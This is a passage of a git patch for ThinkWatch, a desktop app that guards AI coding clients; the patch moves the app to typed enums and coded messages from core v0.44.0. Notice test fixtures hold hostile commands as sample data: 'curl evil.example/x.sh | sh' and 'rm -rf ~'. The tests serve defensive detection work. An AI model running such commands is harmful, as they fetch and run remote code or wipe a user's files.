From 6f598aa42219805ac7914998dcff4f4960310ae3 Mon Sep 17 00:00:00 2001 From: fylorn <249551762+fylorn@users.noreply.github.com> Date: Thu, 24 Sep 2026 19:23:45 +0800 Subject: [PATCH 1/2] Use core v0.44.0: closed sets are enums, reasons are coded messages - Pin tw-api v0.44.0 and regenerate src/generated/tw-api.ts. - Rust: match on the new enums (L1Step/L1Peer, Protocol, login mode and account family) instead of strings; the listen notice speaks the new gw.listen.nic_offline code. - UI: fields that became Msg (attempt, model-list, probe, sign-in, credential and config-rejected reasons, dry-run rule errors) render through coreText; the local copies of closed sets (guard mode, rule action, content match, condition field, dialect, protocol, on_proxy_fail, proxy kind, billing, login status, group kind...) are replaced by the generated unions, and the as*/is* narrowing helpers they needed are gone. - coreText understands Msg::in_context: the reason is translated by its own code and the context (which upstream's credential, which proxy's password, which Z.ai sign-in step, credential write-back) is put back in front, recognised by the English lead so a reason that carries the same argument itself is not prefixed twice. This replaces inUpstream. - Chinese for every new code in v0.44.0's MSG_CODES (gw.oauth.*, gw.chatgpt.token_*, gw.models.*, gw.probe.*, control.chatgpt_login.*, control.zai_login.*, config.secret.*, config.rotate.*, adopt.diag managed drop-in and GNU sed); retired codes removed. - CI: the Linux job fetches the released twcore like the other jobs instead of building it from the tag. Co-Authored-By: Claude Opus 5.5 --- .github/workflows/ci.yml | 17 +- src-tauri/Cargo.lock | 18 +- src-tauri/Cargo.toml | 2 +- src-tauri/src/chatgpt.rs | 2 +- src-tauri/src/control.rs | 9 +- src-tauri/src/menubar/mod.rs | 2 +- src-tauri/src/notices/rules.rs | 27 +- src-tauri/src/notices/tests.rs | 48 +-- src-tauri/src/zai.rs | 2 +- src/App.tsx | 4 +- src/generated/tw-api.ts | 474 +++++++++++++++++------- src/i18n/core.i18n.ts | 200 +++++++--- src/i18n/core.test.ts | 34 +- src/labels.ts | 3 +- src/routing/DryRunDialog.tsx | 8 +- src/routing/GroupDialog.tsx | 4 +- src/routing/RuleDialog.tsx | 4 +- src/routing/model.test.ts | 4 +- src/routing/model.ts | 10 +- src/security/GuardTab.i18n.tsx | 3 +- src/security/GuardTab.tsx | 16 +- src/security/LogTab.tsx | 4 +- src/security/OutputLimitTab.tsx | 8 +- src/security/RuleDialog.tsx | 47 +-- src/security/SecurityPage.tsx | 8 +- src/security/api.ts | 16 +- src/security/marks.ts | 1 - src/security/useTrial.ts | 4 +- src/types.ts | 45 +-- src/upstreams/ChatgptAccountSection.tsx | 4 +- src/upstreams/ChatgptLoginDialog.tsx | 4 +- src/upstreams/ConnectionSection.tsx | 7 +- src/upstreams/ModelsPanel.i18n.ts | 4 +- src/upstreams/ModelsPanel.tsx | 7 +- src/upstreams/ModelsSection.i18n.ts | 4 +- src/upstreams/ModelsSection.tsx | 12 +- src/upstreams/TestDialogs.tsx | 13 +- src/upstreams/UpstreamDialog.tsx | 8 +- src/upstreams/UpstreamsPage.tsx | 5 +- src/upstreams/ZaiLoginDialog.tsx | 4 +- src/upstreams/api.ts | 3 +- src/upstreams/labels.ts | 19 +- src/upstreams/presets.ts | 6 +- src/upstreams/upstreamForm.ts | 18 +- 44 files changed, 727 insertions(+), 415 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 82ae1765..5314bef0 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -148,21 +148,8 @@ jobs: # 理由同 macOS 那一档：`tauri.conf.json` 声明包里装着 twcore，而 Tauri # 的 build script 在**编译期**就校验那个文件在不在；接缝测试还要真的 # 起它。 - # - # **从钉住的那个 tag 现编，不下载。**core 的发版还没有 Linux 产物， - # `fetch-core.sh` 没有这个平台可取。tag 的取法和它一样，编出来的就是 - # 那一版；等 core 发了 Linux 产物，这一步换回 `fetch-core.sh`。 - - name: Build the core binary the bundle declares - run: | - TAG=$(cargo metadata --format-version 1 --manifest-path src-tauri/Cargo.toml \ - | python3 -c 'import json,re,sys - for p in json.load(sys.stdin)["packages"]: - if p["name"] == "tw-api": - print(re.search(r"[?&]tag=([^&#]+)", p["source"]).group(1))') - cargo install --locked --git https://github.com/ThinkWatchProject/ThinkWatch-Core.git \ - --tag "$TAG" twcore --root "$RUNNER_TEMP/twcore" - mkdir -p src-tauri/resources - cp "$RUNNER_TEMP/twcore/bin/twcore" src-tauri/resources/twcore + - name: Fetch the core binary the bundle declares + run: bash src-tauri/scripts/fetch-core.sh - name: Clippy run: cargo clippy --manifest-path src-tauri/Cargo.toml --all-targets -- -D warnings diff --git a/src-tauri/Cargo.lock b/src-tauri/Cargo.lock index 3573a4fb..25249790 100644 --- a/src-tauri/Cargo.lock +++ b/src-tauri/Cargo.lock @@ -1089,7 +1089,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" dependencies = [ "libc", - "windows-sys 0.52.0", + "windows-sys 0.59.0", ] [[package]] @@ -3395,7 +3395,7 @@ dependencies = [ "errno", "libc", "linux-raw-sys", - "windows-sys 0.52.0", + "windows-sys 0.59.0", ] [[package]] @@ -3451,7 +3451,7 @@ dependencies = [ "security-framework", "security-framework-sys", "webpki-root-certs", - "windows-sys 0.52.0", + "windows-sys 0.59.0", ] [[package]] @@ -4494,7 +4494,7 @@ dependencies = [ "getrandom 0.4.3", "once_cell", "rustix", - "windows-sys 0.52.0", + "windows-sys 0.59.0", ] [[package]] @@ -5016,8 +5016,8 @@ dependencies = [ [[package]] name = "tw-api" -version = "0.43.0" -source = "git+https://github.com/ThinkWatchProject/ThinkWatch-Core.git?tag=v0.43.0#caec54c6e515ab7991dfb583923e9c156308ccaa" +version = "0.44.0" +source = "git+https://github.com/ThinkWatchProject/ThinkWatch-Core.git?tag=v0.44.0#e1b96983c1ce5c6823e616ff5ee2528f54fdb4a4" dependencies = [ "serde", "serde_json", @@ -5027,8 +5027,8 @@ dependencies = [ [[package]] name = "tw-types" -version = "0.43.0" -source = "git+https://github.com/ThinkWatchProject/ThinkWatch-Core.git?tag=v0.43.0#caec54c6e515ab7991dfb583923e9c156308ccaa" +version = "0.44.0" +source = "git+https://github.com/ThinkWatchProject/ThinkWatch-Core.git?tag=v0.44.0#e1b96983c1ce5c6823e616ff5ee2528f54fdb4a4" dependencies = [ "serde", "ts-rs", @@ -5508,7 +5508,7 @@ version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22" dependencies = [ - "windows-sys 0.52.0", + "windows-sys 0.59.0", ] [[package]] diff --git a/src-tauri/Cargo.toml b/src-tauri/Cargo.toml index 0e4938f8..96570f10 100644 --- a/src-tauri/Cargo.toml +++ b/src-tauri/Cargo.toml @@ -40,7 +40,7 @@ tauri-plugin-deep-link = "2" # 编出来的东西不一样；而更要紧的是，打进 `.app` 的那个 twcore 二进制 # 必须和这里编译进去的协议镜像来自同一个 core 版本 —— 打包脚本正是从 # 这个 tag 去取二进制的（见 scripts/fetch-core.sh）。 -tw-api = { git = "https://github.com/ThinkWatchProject/ThinkWatch-Core.git", tag = "v0.43.0", features = ["ts"] } +tw-api = { git = "https://github.com/ThinkWatchProject/ThinkWatch-Core.git", tag = "v0.44.0", features = ["ts"] } anyhow = "1" # 生成控制面的凭据（见 src/token.rs） diff --git a/src-tauri/src/chatgpt.rs b/src-tauri/src/chatgpt.rs index 76978286..20a7470d 100644 --- a/src-tauri/src/chatgpt.rs +++ b/src-tauri/src/chatgpt.rs @@ -49,7 +49,7 @@ pub async fn start_chatgpt_login( state: tauri::State<'_, AppState>, name: Option, proxy: Option, - mode: Option, + mode: Option, ) -> Out { let login = state .control diff --git a/src-tauri/src/control.rs b/src-tauri/src/control.rs index 74bc35fa..14e72ff8 100644 --- a/src-tauri/src/control.rs +++ b/src-tauri/src/control.rs @@ -482,7 +482,7 @@ mod tests { fn a_query_is_flat_and_leaves_out_what_is_not_there() { let q = query_string( &serde_json::to_value(tw_api::SecurityEventsQuery { - guard: Some("a b/中".into()), + guard: Some(tw_api::Guard::InspectTools), from_ms: Some(5), to_ms: None, before: None, @@ -493,7 +493,12 @@ mod tests { .unwrap(); let mut parts: Vec<&str> = q.split('&').collect(); parts.sort_unstable(); - assert_eq!(parts, ["from_ms=5", "guard=a%20b%2F%E4%B8%AD", "limit=3"]); + assert_eq!(parts, ["from_ms=5", "guard=inspect_tools", "limit=3"]); + // 协议里的查询字段现在都是数字和枚举，编码拿一个手写的值来验 + assert_eq!( + query_string(&serde_json::json!({ "q": "a b/中" })).unwrap(), + "q=a%20b%2F%E4%B8%AD" + ); assert_eq!( query_string(&serde_json::to_value(()).unwrap()).unwrap(), "" diff --git a/src-tauri/src/menubar/mod.rs b/src-tauri/src/menubar/mod.rs index 625b8ab5..a1c3b9bb 100644 --- a/src-tauri/src/menubar/mod.rs +++ b/src-tauri/src/menubar/mod.rs @@ -303,7 +303,7 @@ async fn collect(app: &tauri::AppHandle, state: &AppState, credits: &mut Credits .map(|o| { o.providers .iter() - .filter(|p| p.protocol.as_deref() == Some("chatgpt")) + .filter(|p| p.protocol == Some(tw_api::Protocol::Chatgpt)) .map(|p| p.name.clone()) .collect() }) diff --git a/src-tauri/src/notices/rules.rs b/src-tauri/src/notices/rules.rs index 0819986e..92da71bc 100644 --- a/src-tauri/src/notices/rules.rs +++ b/src-tauri/src/notices/rules.rs @@ -20,17 +20,16 @@ use super::{Level, Signal}; /// 再抄一份 core 的码表；而步骤是个封闭集合，几个词就够，指向的又正是 /// 一眼要看的那件事。完整的原因在上游页上。 fn l1_step(s: &tw_api::L1Stage) -> String { - let step: &str = match s.step.as_str() { - "config" => tr!("配置", "configuration"), - "dns" => tr!("DNS 解析", "DNS lookup"), - "tcp" => tr!("TCP 握手", "TCP handshake"), - "tls" => tr!("TLS 握手", "TLS handshake"), - "handshake" => tr!("代理握手", "proxy handshake"), - // 不在这几个里的照着码说，总好过不说 - other => other, + use tw_api::{L1Peer, L1Step}; + let step: &str = match s.step { + L1Step::Config => tr!("配置", "configuration"), + L1Step::Dns => tr!("DNS 解析", "DNS lookup"), + L1Step::Tcp => tr!("TCP 握手", "TCP handshake"), + L1Step::Tls => tr!("TLS 握手", "TLS handshake"), + L1Step::Handshake => tr!("代理握手", "proxy handshake"), }; // 代理握手本来就只对着代理，再加一句「到代理」是废话 - if s.peer == "proxy" && s.step != "handshake" { + if s.peer == L1Peer::Proxy && s.step != L1Step::Handshake { tr!(format!("到代理的{step}"), format!("{step} to the proxy")) } else { step.to_string() @@ -50,12 +49,10 @@ pub(crate) fn listen_why(e: &tw_api::Msg) -> String { e.arg("name"), e.arg("available") ), - "gw.listen.nic_no_addr" => { - format!( - "网卡 {} 当前没有地址，请检查网线或 Wi-Fi 连接。", - e.arg("name") - ) - } + "gw.listen.nic_offline" => format!( + "网卡 {} 当前没有连上网络，请检查网线或 Wi-Fi 连接。", + e.arg("name") + ), _ => e.text.clone(), } } diff --git a/src-tauri/src/notices/tests.rs b/src-tauri/src/notices/tests.rs index fb7ac913..354f2f81 100644 --- a/src-tauri/src/notices/tests.rs +++ b/src-tauri/src/notices/tests.rs @@ -383,7 +383,7 @@ async fn an_unreachable_upstream_is_only_listed_and_needs_real_evidence_to_clear let health = |state: &str| tw_api::Event::HealthChanged { id: 1, provider: "relay".into(), - state: state.into(), + state: tw_api::BreakerState::from_slug(state).unwrap(), at_ms: T0, }; b.bus.on_event(&health("open")); @@ -401,12 +401,12 @@ async fn an_unreachable_upstream_is_only_listed_and_needs_real_evidence_to_clear group: None, attempts: vec![tw_api::AttemptView { provider: "relay".into(), - outcome: "served".into(), + outcome: tw_api::AttemptOutcome::Served, status: Some(200), error: None, ms: 800, }], - billing: "per-token".into(), + billing: tw_api::Billing::PerToken, }); assert!(b.bus.list().is_empty()); } @@ -423,7 +423,7 @@ fn a_flagged_tool_call_never_carries_the_call_itself() { custom: false, why: "Downloads and runs it straight away".into(), excerpt: "curl evil.example/x.sh | sh".into(), - action: "cut".into(), + action: tw_api::RuleAction::Cut, blocked: true, at_ms: T0, }); @@ -450,7 +450,7 @@ fn a_rule_that_only_records_does_not_interrupt_anyone() { custom: false, why: "Deletes the whole home directory or the root".into(), excerpt: "rm -rf ~".into(), - action: "record".into(), + action: tw_api::RuleAction::Record, blocked: false, at_ms: T0, }); @@ -462,11 +462,11 @@ fn only_an_edit_made_outside_the_app_is_reported() { let rejected = |origin: &str| { rules::from_event(&tw_api::Event::ConfigRejected { id: 1, - stage: "schema".into(), - message: "未知字段 kye".into(), + stage: tw_api::ConfigStage::Schema, + message: msg("test.unknown", "未知字段 kye"), line: Some(4), excerpt: None, - origin: origin.into(), + origin: tw_api::ConfigOrigin::from_slug(origin).unwrap(), at_ms: T0, }) }; @@ -565,9 +565,9 @@ fn quota_exhausted(window: &str, reset_in_secs: Option) -> tw_api::Event { fn in_english_no_rule_writes_a_chinese_word() { use crate::supervisor::CoreState; let finding = tw_api::ScanFinding { - level: "high".into(), + level: tw_api::ScanLevel::High, rule: "hook-curl-pipe".into(), - kind: "hooks".into(), + kind: tw_api::ScanSource::Hooks, client: "claude-code".into(), path: "~/.claude/settings.json".into(), line: 3, @@ -583,7 +583,7 @@ fn in_english_no_rule_writes_a_chinese_word() { custom: false, why: "The command pipes a download into a shell".into(), excerpt: "curl example.invalid/x.sh | sh".into(), - action: "cut".into(), + action: tw_api::RuleAction::Cut, blocked, at_ms: T0, }; @@ -595,29 +595,29 @@ fn in_english_no_rule_writes_a_chinese_word() { tw_api::Event::HealthChanged { id: 1, provider: "relay".into(), - state: "open".into(), + state: tw_api::BreakerState::Open, at_ms: T0, }, tw_api::Event::CredentialExpired { id: 1, provider: "chatgpt".into(), - detail: "The refresh token was revoked".into(), + detail: msg("test.unknown", "The refresh token was revoked"), at_ms: T0, }, tw_api::Event::AuthChanged { id: 1, provider: "relay".into(), - state: "rejected".into(), + state: tw_api::AuthState::Rejected, status: Some(401), at_ms: T0, }, tw_api::Event::ProxyChanged { id: 1, proxy: "hk".into(), - state: "unreachable".into(), + state: tw_api::ProxyState::Unreachable, failed: Some(tw_api::L1Stage { - step: "handshake".into(), - peer: "proxy".into(), + step: tw_api::L1Step::Handshake, + peer: tw_api::L1Peer::Proxy, }), detail: Some(msg( "t.detail", @@ -627,18 +627,18 @@ fn in_english_no_rule_writes_a_chinese_word() { }, tw_api::Event::ConfigRejected { id: 1, - stage: "schema".into(), - message: "Unknown field kye".into(), + stage: tw_api::ConfigStage::Schema, + message: msg("test.unknown", "Unknown field kye"), line: Some(4), excerpt: None, - origin: "external".into(), + origin: tw_api::ConfigOrigin::External, at_ms: T0, }, tw_api::Event::CredentialRotated { id: 1, provider: "claude-max".into(), persisted: false, - detail: "config.yaml is read-only".into(), + detail: msg("test.unknown", "config.yaml is read-only"), at_ms: T0, }, listen_failed(), @@ -710,11 +710,11 @@ fn an_english_notice_reads_as_whole_sentences() { let s = &rules::from_event(&tw_api::Event::ConfigRejected { id: 1, - stage: "schema".into(), - message: "unknown field kye".into(), + stage: tw_api::ConfigStage::Schema, + message: msg("test.unknown", "unknown field kye"), line: Some(4), excerpt: None, - origin: "external".into(), + origin: tw_api::ConfigOrigin::External, at_ms: T0, })[0]; assert_eq!(s.title, "Config File Failed Validation"); diff --git a/src-tauri/src/zai.rs b/src-tauri/src/zai.rs index ba7adb17..bb2de727 100644 --- a/src-tauri/src/zai.rs +++ b/src-tauri/src/zai.rs @@ -40,7 +40,7 @@ pub struct Login { pub async fn start_zai_login( app: tauri::AppHandle, state: tauri::State<'_, AppState>, - family: Option, + family: Option, name: Option, proxy: Option, ) -> Out { diff --git a/src/App.tsx b/src/App.tsx index f1943d04..7208cfcf 100644 --- a/src/App.tsx +++ b/src/App.tsx @@ -1148,7 +1148,7 @@ export default function App() {

{t.rejectedAt(stageLabel(rejected.stage), rejected.line)} - {rejected.message} + {coreText(rejected.message)}

{rejected.excerpt && ( 
@@ -1205,7 +1205,7 @@ export default function App() {
                         {t.rotatedUnsaved(r.provider)}
                       

                       

-                        {r.detail}
+                        {coreText(r.detail)}
                       

                       

                         {t.oldRevoked((s) => (
diff --git a/src/generated/tw-api.ts b/src/generated/tw-api.ts
index 263232ec..7a241c04 100644
--- a/src/generated/tw-api.ts
+++ b/src/generated/tw-api.ts
@@ -1,6 +1,6 @@
 // Generated by tw-api (`tw_api::ts::export_all`). Do not edit by hand.
 
-export const CONTROL_API_VERSION = 13;
+export const CONTROL_API_VERSION = 15;
 
 /**
  * 改一条内置规则在拦截档下做什么。只有工具调用审查和内容过滤的规则有这一项 ——
@@ -10,7 +10,7 @@ export type ActionSave = {
 /**
  * 工具调用审查：`cut` / `record`；内容过滤：`block` / `record`
  */
-action: string, base_version?: string | null, };
+action: RuleAction, base_version?: string | null, };
 
 export type AdoptRequest = { client: string, 
 /**
@@ -24,9 +24,14 @@ export type AdoptResponse = { real: string, backup: string, created: boolean,
  */
 warnings: Array, 
 /**
- * 改动什么时候生效，和 `DetectedClient.takes_effect` 同一个词表
+ * 改动什么时候生效
  */
-takes_effect: string, };
+takes_effect: TakesEffect, };
+
+/**
+ * 尝试链里一跳的结果。
+ */
+export type AttemptOutcome = "served" | "status" | "error";
 
 /**
  * 尝试链里的一跳。
@@ -36,23 +41,23 @@ takes_effect: string, };
  */
 export type AttemptView = { provider: string, 
 /**
- * - `served`：这一跳接下了请求，尝试链到此为止。上游回的是 4xx 也算
- *   —— 请求本身有问题，换一个上游也一样被拒。
- * - `status`：上游返回 5xx 或 429，换下一个上游。
- * - `error`：没有收到响应（超时、无法连接）。
- *
  * WebSocket 的那一跳是一次握手：上游同意升级（101）是 `served`，回了别的
  * 状态码是 `status`，连不上是 `error`。
  */
-outcome: string, 
+outcome: AttemptOutcome, 
 /**
  * 上游返回的状态码。`error` 时没有
  */
 status?: number | null, 
 /**
- * `error` 时的说明
+ * `error` 时的说明。和这一跳报给客户端的那条错误是同一句
+ */
+error?: Msg | null, ms: number, };
+
+/**
+ * 上游接不接受凭据。
  */
-error?: string | null, ms: number, };
+export type AuthState = "rejected" | "accepted";
 
 /**
  * 开关定期刷新。
@@ -64,6 +69,11 @@ export type AutoUpdateSave = { on: boolean, base_version?: string | null, };
  */
 export type BaseVersion = { base_version?: string | null, };
 
+/**
+ * 一个上游怎么收钱。
+ */
+export type Billing = "per-token" | "free";
+
 /**
  * 一份存下来的 body。
  */
@@ -78,6 +88,11 @@ text: string,
  */
 original_len: number, truncated: boolean, };
 
+/**
+ * 熔断器的状态变成了什么。
+ */
+export type BreakerState = "open" | "closed";
+
 /**
  * `GET /summary/buckets/by`：再按一个维度分组。
  */
@@ -113,6 +128,11 @@ verification_url?: string | null,
  */
 expires_in_secs: number, };
 
+/**
+ * ChatGPT 在哪台设备上授权。
+ */
+export type ChatgptLoginMode = "browser" | "device";
+
 /**
  * 发起 ChatGPT 登录（`POST /chatgpt/login`）。
  */
@@ -135,7 +155,7 @@ return_to?: string | null,
  * 在哪台设备上授权：`browser`（默认，在这台机器上开浏览器）或 `device`（拿一个
  * 一次性码，去别的设备上输）
  */
-mode?: string | null, };
+mode?: ChatgptLoginMode | null, };
 
 /**
  * 登录进行到哪一步（`GET /chatgpt/login/{id}`）。
@@ -144,7 +164,7 @@ export type ChatgptLoginStatus = { id: string,
 /**
  * `pending` / `done` / `failed` / `expired` / `cancelled`
  */
-status: string, 
+status: LoginStatus, 
 /**
  * 写进配置的上游名。`done` 时有
  */
@@ -156,7 +176,7 @@ plan?: string | null,
 /**
  * `failed` 时的原因
  */
-error?: string | null, };
+error?: Msg | null, };
 
 /**
  * ChatGPT 账号的用量（`GET /providers/{name}/chatgpt/usage`）。
@@ -231,6 +251,11 @@ gateway_base: string,
  */
 keys: Array, };
 
+/**
+ * 路由规则 `when` 里的键。
+ */
+export type ConditionField = "model" | "client" | "dialect" | "input_tokens" | "max_tokens" | "tool_count" | "intent" | "provider_would_be" | "cache" | "tools" | "image" | "thinking" | "stream";
+
 /**
  * 规则里的一个条件。
  */
@@ -240,7 +265,7 @@ export type ConditionView = {
  * `max_tokens` / `tool_count` / `intent` / `provider_would_be` /
  * `cache` / `tools` / `image` / `thinking` / `stream`
  */
-field: string, 
+field: ConditionField, 
 /**
  * 写的值。`intent` 和 `provider_would_be` 可以写多个，满足其一即可；
  * 布尔条件是 `true` / `false`；数量条件是比较式（`>200k`）
@@ -266,6 +291,11 @@ name: string | null, };
  */
 export type ConfigAtQuery = { offset: number, };
 
+/**
+ * 一版配置是谁写的。
+ */
+export type ConfigOrigin = "ui" | "cli" | "external" | "rollback" | "rotation";
+
 /**
  * 改配置。
  *
@@ -279,6 +309,11 @@ export type ConfigPatch = {
  */
 base_version?: string | null, ops: Array, };
 
+/**
+ * 配置错在哪一层。
+ */
+export type ConfigStage = "syntax" | "schema" | "semantics";
+
 /**
  * 当前的配置文本，连同它的版本号。
  *
@@ -298,7 +333,7 @@ export type ConfigVersion = { version: string, at_ms: number,
 /**
  * `ui` / `cli` / `external` / `rollback` / `rotation`
  */
-origin: string, bytes: number, 
+origin: ConfigOrigin, bytes: number, 
 /**
  * 这一版是现在跑着的那一版吗。
  *
@@ -318,6 +353,11 @@ export type ConfigWrite = { base_version: string, text: string, };
 
 export type ConfigWritten = { version: string, };
 
+/**
+ * 内容规则怎么认。
+ */
+export type ContentMatch = "contains" | "regex";
+
 /**
  * 一个要转换格式的候选上游。
  */
@@ -325,11 +365,11 @@ export type ConvertedView = { provider: string,
 /**
  * 客户端的格式：`anthropic` / `openai-chat` / `openai-responses` / `gemini`
  */
-from: string, 
+from: Dialect, 
 /**
  * 这个上游的格式
  */
-to: string, };
+to: Dialect, };
 
 /**
  * 一段时间的汇总。
@@ -404,12 +444,12 @@ export type CustomRuleSave = { name: string, pattern: string,
 /**
  * 工具调用审查：`cut` / `record`；内容过滤：`block` / `record`。不给按 `record`
  */
-action?: string | null, 
+action?: RuleAction | null, 
 /**
  * 内容过滤才有：`contains`（不分大小写的子串）/ `regex`。不给按 `contains`。
  * 别的防护的自定义规则都是正则
  */
-match?: string | null, enabled: boolean, base_version?: string | null, };
+match?: ContentMatch | null, enabled: boolean, base_version?: string | null, };
 
 /**
  * 设默认密钥（`PUT /default_key`）。
@@ -438,12 +478,7 @@ real: string, installed: boolean, has_config: boolean, adopted_at_ms: number | n
 /**
  * 配置里此刻的端点。**读出来的**，不是拿我们自己的记录充数
  */
-endpoint: string | null, shadows: Array, 
-/**
- * `immediately`（下一个请求就使用新配置）| `on_restart`（客户端重新
- * 启动后才生效，读环境变量的要重开终端）
- */
-takes_effect: string, 
+endpoint: string | null, shadows: Array, takes_effect: TakesEffect, 
 /**
  * 接管之后要不要在「一直没收到请求」时提示。
  *
@@ -455,7 +490,7 @@ warns_when_silent: boolean,
  * `measured`（在本机实际运行验证过）| `fields_only`（字段名查证过，
  * 没有在本机实际运行验证）
  */
-verified: string, 
+verified: Verification, 
 /**
  * 接管之后会失去或改变的功能
  */
@@ -476,6 +511,16 @@ last_seen_ms?: number | null,
  */
 manual: ManualSetup, };
 
+/**
+ * 请求体的格式（方言）。
+ */
+export type Dialect = "anthropic" | "openai-chat" | "openai-responses" | "gemini" | "bedrock";
+
+/**
+ * 一次试算的结论。
+ */
+export type DryRunOutcome = "route" | "deny" | "no_match" | "unavailable" | "intercepted" | "passthrough";
+
 /**
  * 「如果现在来这样一个请求，会走到哪儿」。
  *
@@ -495,7 +540,7 @@ route?: string | null,
 /**
  * 按一份还没保存的路由求值。给了就不看 `route`
  */
-draft?: RouteInput | null, dialect: string, input_tokens: number, max_tokens: number | null, 
+draft?: RouteInput | null, dialect: Dialect, input_tokens: number, max_tokens: number | null, 
 /**
  * 带了 `cache_control`。**把它路由到不支持缓存的中转站，等于把最大
  * 的省钱手段直接扔掉，而且不会察觉**
@@ -518,7 +563,7 @@ route: string,
  * **不说的话，用户看不懂候选为什么是这个顺序** —— 「我明明把官方
  * 写在第一个」。直指 provider 时是 None。
  */
-strategy?: string | null, 
+strategy?: GroupKind | null, 
 /**
  * `route` | `deny` | `no_match` | `unavailable`（选中的上游都服务不了，
  * 见 `skipped`）| `intercepted` | `passthrough`
@@ -527,7 +572,7 @@ strategy?: string | null,
  * 请求先过 `client_probes`：本地应答的一个字节都不出本机，原样放行的
  * 直接转发 —— 两种情况下 `trace` 都是空的，因为确实一条规则都没求值。
  */
-outcome: string, 
+outcome: DryRunOutcome, 
 /**
  * 命中的规则名
  */
@@ -608,7 +653,7 @@ key_masked?: string | null, provider: string,
  * 的、WebSocket 升级没完成就断开的、被第二阶段规则拒绝的，手上只有
  * 这一个 —— 少了它，那一行说不出该按什么记账。
  */
-billing: string, 
+billing: Billing, 
 /**
  * 客户端要的模型名。**成本要靠它查价**，而它只在请求体里 ——
  * 少了这个字段，落库那一步就只能记一笔没有模型的账
@@ -633,7 +678,7 @@ usage?: UsageView | null, } | { "kind": "request_failed", id: number,
 /**
  * 模型名。理由见 `RequestFinished::model`
  */
-model: string, source: string, message: Msg, 
+model: string, source: FailureSource, message: Msg, 
 /**
  * 失败之前从上游收到了多少字节。**响应头都没到的没有**
  */
@@ -685,7 +730,7 @@ attempts: Array,
  *
  * 一家都没接下时是 `per-token`：没有哪一家的计费方式可以跟着走。
  */
-billing: string, } | { "kind": "hidden_text_found", id: number, 
+billing: Billing, } | { "kind": "hidden_text_found", id: number, 
 /**
  * 这时要发往的上游（故障转移之前的首选）
  */
@@ -701,7 +746,7 @@ rule: string, custom: boolean,
 /**
  * 这条规则在拦截档下做什么：`block` / `record`
  */
-action: string, 
+action: RuleAction, 
 /**
  * 请求被拒了吗。**拦截档 + 规则是拦**两者同时成立才会
  */
@@ -741,11 +786,11 @@ persisted: boolean,
 /**
  * 人话。成功时说写到哪儿了，失败时说卡在哪一步。**不含 token**
  */
-detail: string, at_ms: number, } | { "kind": "credential_expired", id: number, provider: string, 
+detail: Msg, at_ms: number, } | { "kind": "credential_expired", id: number, provider: string, 
 /**
  * 失效的原因，**已打码**
  */
-detail: string, at_ms: number, } | { "kind": "login_finished", id: number, 
+detail: Msg, at_ms: number, } | { "kind": "login_finished", id: number, 
 /**
  * 发起登录时拿到的 ID
  */
@@ -753,7 +798,7 @@ login: string,
 /**
  * `done` / `failed` / `expired` / `cancelled`
  */
-status: string, provider?: string | null, error?: string | null, at_ms: number, } | { "kind": "translated", id: number, provider: string, from: string, to: string, 
+status: LoginStatus, provider?: string | null, error?: Msg | null, at_ms: number, } | { "kind": "translated", id: number, provider: string, from: Dialect, to: Dialect, 
 /**
  * 丢掉的字段，按它在请求体里的位置写：`thinking`、`top_k`、
  * `messages.content.thinking`、`messages.content.image.source.file` …
@@ -782,7 +827,7 @@ excerpt: string,
 /**
  * 这条规则在拦截档下做什么：`cut` / `record`
  */
-action: string, 
+action: RuleAction, 
 /**
  * 真的切断了流吗。**拦截档 + 规则是切断**两者同时成立才会
  */
@@ -790,11 +835,11 @@ blocked: boolean, at_ms: number, } | { "kind": "scan_alert", id: number, alerts:
 /**
  * `open` = 熔断中，不进候选链；`closed` = 可以用
  */
-state: string, at_ms: number, } | { "kind": "models_changed", id: number, provider: string, at_ms: number, } | { "kind": "proxy_changed", id: number, proxy: string, 
+state: BreakerState, at_ms: number, } | { "kind": "models_changed", id: number, provider: string, at_ms: number, } | { "kind": "proxy_changed", id: number, proxy: string, 
 /**
  * `unreachable` = 刚刚检查不通；`reachable` = 又通了
  */
-state: string, 
+state: ProxyState, 
 /**
  * 不通时卡在建连的哪一步。**和原因分开** —— 「卡在到代理的 TCP
  * 握手」要去改的地方和「代理拒绝了用户名和密码」完全不同，而把
@@ -808,7 +853,7 @@ detail?: Msg | null, at_ms: number, } | { "kind": "auth_changed", id: number, pr
 /**
  * `rejected` = 上游拒绝了凭据；`accepted` = 又能用了
  */
-state: string, 
+state: AuthState, 
 /**
  * 被拒时上游给的状态码
  */
@@ -836,12 +881,12 @@ version: string,
 /**
  * `ui` / `cli` / `external` / `rollback` / `rotation`
  */
-origin: string, at_ms: number, } | { "kind": "config_rejected", id: number, 
+origin: ConfigOrigin, at_ms: number, } | { "kind": "config_rejected", id: number, 
 /**
  * `syntax`（YAML 写坏了）/ `schema`（字段名或取值不对）/
  * `semantics`（单看每个字段都对，合起来不成立）
  */
-stage: string, message: string, 
+stage: ConfigStage, message: Msg, 
 /**
  * 1 起。语义错误没有，那时硬指一行只会误导
  */
@@ -856,7 +901,7 @@ excerpt: string | null,
  * **界面靠它区分「用户在编辑器里写错了」和「界面自己刚写坏了」** ——
  * 前者要提醒，后者是保存失败，那条路自己会报。
  */
-origin: string, at_ms: number, } | { "kind": "locally_answered", id: number, client: string, 
+origin: ConfigOrigin, at_ms: number, } | { "kind": "locally_answered", id: number, client: string, 
 /**
  * 请求头透出来的旁证，同 `RequestStarted`
  */
@@ -876,7 +921,13 @@ key_masked?: string | null,
  * 哪一类辅助请求，和 `ProbeView.id` 同一个词表。字段叫 `probe` 而
  * 不是 `kind` —— 那个名字已经被枚举的 tag 占了
  */
-probe: string, at_ms: number, } | { "kind": "events_dropped", id: number, count: number, at_ms: number, };
+probe: ProbeClass, at_ms: number, } | { "kind": "events_dropped", id: number, count: number, at_ms: number, };
+
+/**
+ * 一个请求失败在哪一方。和 HTTP 响应里的 `x-thinkwatch-error` 同一个词表，
+ * 另外多一个 `internal`。
+ */
+export type FailureSource = "auth" | "config" | "upstream" | "request" | "rate_limited" | "denied" | "internal";
 
 /**
  * 配置文件里的一处改动。
@@ -885,7 +936,7 @@ export type FieldChange = {
 /**
  * `set` | `remove`
  */
-op: string, 
+op: FieldOp, 
 /**
  * 字段路径，按层级用 `.` 连起来：`env.ANTHROPIC_BASE_URL`
  */
